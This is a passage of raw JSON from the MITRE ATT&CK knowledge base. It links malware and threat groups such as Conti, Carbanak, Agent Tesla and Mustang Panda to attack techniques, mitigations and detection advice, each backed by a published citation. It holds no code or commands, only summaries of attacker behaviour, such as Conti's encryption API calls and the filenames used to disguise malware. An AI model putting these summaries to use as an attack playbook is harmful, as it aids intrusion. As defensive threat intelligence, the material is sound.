MuddyWater Nov 2017"}],"modified":"2019-04-22T22:36:53.164Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has used port 80 for C2.(Citation: Unit 42 MuddyWater Nov 2017)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4b215ab-a9ba-43aa-a354-8ac0289abde1","type":"relationship","created":"2021-04-16T03:03:57.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-16T17:47:46.541Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56713b27-7353-4fbd-9307-b9a9075e1309","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80a95235-abd0-4911-abca-91ec1f7e27d3","type":"relationship","created":"2020-11-13T20:08:48.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:08:48.728Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can log keystrokes on the victim's machine.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c05978ea-b814-473e-a073-9bae9ab7695b","type":"relationship","created":"2020-05-06T20:40:19.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T20:40:19.172Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can be executed as a service.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97ef26b5-5dda-458b-926e-933ec0d099d6","type":"relationship","created":"2021-02-17T19:22:30.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Conti Jan 2021","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"Cybleinc Conti January 2020","url":"https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/","description":"Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-15T19:57:30.296Z","description":"[Conti](https://attack.mitre.org/software/S0575) can use <code>CreateIoCompletionPort()</code>, <code>PostQueuedCompletionStatus()</code>, and <code>GetQueuedCompletionPort()</code> to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. [Conti](https://attack.mitre.org/software/S0575) can use “Windows Restart Manager” to ensure files are unlocked and open for encryption.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e8fc958-6778-4c46-ae15-0d239309bc76","type":"relationship","created":"2019-01-29T18:44:04.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."},{"description":"Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html","source_name":"Fortinet Agent Tesla June 2017"}],"modified":"2020-03-18T19:25:30.208Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has used HTTP for C2 communications.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d186a22f-f42e-43f4-b161-36f2d1714f04","type":"relationship","created":"2021-06-21T13:20:12.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T14:26:11.097Z","description":"[Ecipekac](https://attack.mitre.org/software/S0624) can abuse the legitimate application policytool.exe to load a malicious DLL.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d22ecd26-4361-4266-8cd7-94af7418d4ee","type":"relationship","created":"2022-03-25T14:32:35.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:32:35.640Z","description":"[Donut](https://attack.mitre.org/software/S0695) can patch Antimalware Scan Interface (AMSI), Windows Lockdown Policy (WLDP), as well as exit-related [Native API](https://attack.mitre.org/techniques/T1106) functions to avoid process termination.(Citation: Donut Github)\t","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c60bccc-f485-403d-ab3b-db861a3a4429","type":"relationship","created":"2019-01-29T19:18:28.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.615Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can list active processes running on the victim’s machine.(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdaeae13-b9f2-4ae5-b4ae-c74fde73adcd","type":"relationship","created":"2019-06-05T17:05:57.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.403Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can collect data from a local system.(Citation: Fidelis njRAT June 2013)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--971d0828-7244-4278-adc5-dc480d57ba5b","type":"relationship","created":"2021-03-05T18:54:56.463Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.463Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) performed padding with null bytes before calculating its hash.(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e12a487a-6084-4078-8b30-b3a5fca8ce2e","type":"relationship","created":"2021-01-05T17:45:48.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."}],"modified":"2021-01-05T17:45:48.860Z","description":"[UNC2452](https://attack.mitre.org/groups/G0118) named tasks <code>\\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager</code> in order to appear legitimate.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7d7b5e5-aceb-473b-aeaa-f1287d8d0542","type":"relationship","created":"2019-01-30T14:00:49.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","source_name":"PaloAlto DNS Requests May 2016"}],"modified":"2020-03-17T00:03:45.161Z","description":"[APT18](https://attack.mitre.org/groups/G0026) uses HTTP for C2 communications.(Citation: PaloAlto DNS Requests May 2016)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54a384e5-17c8-422d-b199-18e7945cb7d6","type":"relationship","created":"2019-10-07T19:05:49.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Feb 2019","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. 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For example, monitoring for Windows event ID (EID) 400, specifically the <code>EngineVersion</code> field which shows the version of PowerShell running, may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)","modified":"2022-04-19T18:27:37.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c4af99b-e82d-422f-86da-ccc94e55d763","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. 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Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.476Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) has used ConfuserEx to obfuscate its variant of [Imminent Monitor](https://attack.mitre.org/software/S0434), compressed payload and RAT packages, and password protected encrypted email attachments to avoid detection.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ef0077e-ee87-4e67-a466-2085a9148fc9","type":"relationship","created":"2019-01-31T02:01:45.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Vengerik, B. et al.. (2014, December 5). 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Also consider inspecting and scanning file formats commonly abused to bypass MOTW (ex: .arj, .gzip, .iso, .vhd).","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7653df0-63f4-4632-b5a2-6b00aead446f","type":"relationship","created":"2020-03-18T00:48:35.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. 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(2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfe30cdf-a0c8-440d-b471-d9fef00c559b","type":"relationship","created":"2020-05-06T17:47:43.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S.. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-05-06T17:47:43.683Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has encrypted network communications with RC4.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0252fc3f-1bf0-433f-b619-b874137f84f3","type":"relationship","created":"2021-02-09T14:35:39.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F.  Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-10-17T16:31:22.137Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) has encrypted files and disks using AES-128-CBC and RSA-2048.(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a581fb2c-604a-4417-b782-cafd76b11c37","type":"relationship","created":"2020-10-19T04:16:36.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-15T03:41:33.705Z","description":"Users can be trained to identify social engineering techniques and spearphishing attempts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49c7a467-98ce-4764-af86-c950ed951d13","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-17T01:30:31.072Z","description":"[Helminth](https://attack.mitre.org/software/S0170) can use HTTP for C2.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--553aadc2-8c1c-4ad7-b974-c65f99f6a892","type":"relationship","created":"2020-03-11T13:50:57.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.microsoft.com/en-us/kb/967715","description":"Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.","source_name":"Microsoft Disable Autorun"},{"url":"https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx","description":"Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.","source_name":"TechNet Removable Media Control"}],"modified":"2021-10-15T22:48:29.655Z","description":"Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7df01656-109b-49ad-a9e4-c1b89ba82508","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2020-03-20T01:49:51.174Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) uses the command prompt to execute commands on the victim's machine.(Citation: Unit 42 OopsIE! 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Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f56f953d-7df2-4eee-93b6-f2c8377153bb","type":"relationship","created":"2020-07-23T16:24:07.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-23T16:24:07.813Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) can create bind and reverse shells on the infected system.(Citation: ESET ForSSHe December 2018)\t","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--82384148-90fd-4bfa-a734-e9c8b37b584f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Carbanak","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"},{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-16T16:07:49.085Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) logs key strokes for configured processes and sends them back to the C2 server.(Citation: Kaspersky Carbanak)(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--efe1cabd-63cf-46d6-8010-93504832bc03","created":"2021-04-13T20:27:51.727Z","x_mitre_version":"1.0","external_references":[{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used names like `adobeupdate.dat` and `PotPlayerDB.dat` to disguise [PlugX](https://attack.mitre.org/software/S0013), and a file named `OneDrive.exe` to load a [Cobalt Strike](https://attack.mitre.org/software/S0154) payload.(Citation: Recorded Future REDDELTA July 2020)","modified":"2022-04-14T18:34:13.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cafb7b2-5227-4340-b531-7bd134645d30","type":"relationship","created":"2020-05-15T16:50:05.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FSecure Lokibot November 2019","url":"https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml","description":"Kazem, M. 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Retrieved November 30, 2018."}],"modified":"2020-03-20T18:23:25.543Z","description":"[OceanSalt](https://attack.mitre.org/software/S0346) can encode data with a NOT operation before sending the data to the control server.(Citation: McAfee Oceansalt Oct 